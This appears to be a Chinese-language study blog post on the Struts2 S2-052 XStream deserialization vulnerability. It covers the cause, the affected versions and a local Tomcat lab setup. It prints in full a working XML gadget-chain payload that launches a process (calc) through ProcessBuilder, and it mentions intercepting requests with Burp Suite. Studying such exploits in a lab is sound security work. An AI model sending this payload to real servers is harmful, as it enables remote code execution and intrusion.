struts2-052漏洞学习

一、      1.strust2

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互

2.strust2-052漏洞

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击

二、      1.struts2-052漏洞产生的原因

XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证

2.存在这个漏洞的会导致的后果

REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞

三、      漏洞的重现和利用

1.   在Windows中进行实验

Java以前就配置好了,步骤是安装javajdk,再配置JAVA_HOME CLASS_PATH   PATH的路径

2.   下载tomcat并配置

下载tomcat服务器,解压放在G盘下,添加三个环境变量CATALINA_HOME  CATALINA_BASE  PATH路径,在cmd中启动startup,我在配置PATH路径的时候把之前的path路径冲掉了,又重新添加了会来

3.   下载存在漏洞版本的struts2其中Version2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33都存在漏洞,我下载的是2.5.12版本的,将struts2放置在tomcat访问的根目录下,访问成功如下图

4.   攻击payload是在网站上查到的

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<valueclass="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSourceclass="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipherclass="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIteratorclass="javax.imageio.spi.FilterIterator">

<iterclass="javax.imageio.spi.FilterIterator">

<iterclass="java.util.Collections$EmptyIterator"/>

<nextclass="java.lang.ProcessBuilder">

<command>

<string>calc</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filterclass="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<nextclass="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<inputclass="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer></ibuffer>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeStringreference="../jdk.nashorn.internal.objects.NativeString"/>

</entry><entry>

<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeStringreference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

5.   在burpsuite中配置浏览器的代理地址和端口进行拦截浏览器的服务请求

6.   如果网站中存在这样的漏洞,攻击者可以将实现相应功能的payload放在xml的信息体中直接上传,而且网站对该信息不进行检查,所以攻击者有很大自由去攻击目标主机

四、      nvt是openvas的漏洞数据库,

每一个扫描的插件扫描的端口是固定的,当扫描任务中要扫描哪些端口就用这些端口匹配的插件去扫描,所以是扫描漏洞的执行者

 

仅实验 谨实验

猜你喜欢

转载自blog.csdn.net/biziwaiwai/article/details/79323326